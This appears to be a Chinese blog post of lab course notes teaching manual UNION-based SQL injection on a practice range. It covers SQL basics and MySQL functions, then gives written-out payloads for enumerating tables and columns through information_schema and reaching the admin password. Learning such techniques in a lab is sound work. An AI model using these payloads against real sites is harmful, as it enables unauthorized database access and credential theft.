掌控安全靶场公开课第一章第一节

Q:什么是显示位:

A:我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息(转自sqli-labs通关教程----1~10关 - Lushun - 博客园 (cnblogs.com)

Q:数据库基础知识

A:

select * from 表 :从表里查询所有内容
		select * from bigfish;
		select username,password from bigfish;
where :有条件的从表里选取数据
		select * from bigfish where id=97;
andor :条件多时从表中选取数据
		select * from bigfish where id=97 and username='admin'
order by : 根据指定的结果集/指定的列进行排序
		select * from bigfish order by 1;
limit 0,1 :限制返回的行数 从0开始,返回1select * from bigfish limit 0,1;
union select : 将多个表拼在一起
		select * from bigfish where id=97 union select 1,2,3;	
常用函数
1 system_user()        #系统用户名
2 user()              #返回MYSQL用户名 
3 current_user()        #当前用户名
4 session_user()        #连接数据库的用户名
5 database()           #返回当前数据库名
6 version()            #返回当前数据库版本信息
常见编码
		原始		含义
%23		#		注释
--				注释
--+		--		注释,+会被转义为空格

流程

数据库名——》表名——》字段名

猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
		在数据库information_schema中有一张表,存储了数据库所有的表的信息
		从数据库information_schema中的tables表查询字段名table_schema名为database()数据
and 1=2 union select 1,table_name from information_schema.tables where table_schema='库名' limit 1,1
  1. 判断是否存在sql注入漏洞
    1. and 1=1 页面正常

    image-20240124145000134

    1. and 1=2 页面出错

      image-20240124145120174

  2. 判断字段数

    order by =1和2时页面正常

    image-20240124145306973

    order by =3 时页面出错

    image-20240124145400299

    判断该数据库只有2个字段

  3. 判断回显

    image-20240124145724989

    数字2位置可以回显

  4. 表名

    注入语句为:

    ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

    image-20240124150039124

  5. 字段名

    注入语句为:

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1

    通过改变limit 的值发现字段名为id,username,password

    image-20240124150632446

  6. 在数据库中查询密码

    image-20240124150823498

  • 8
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值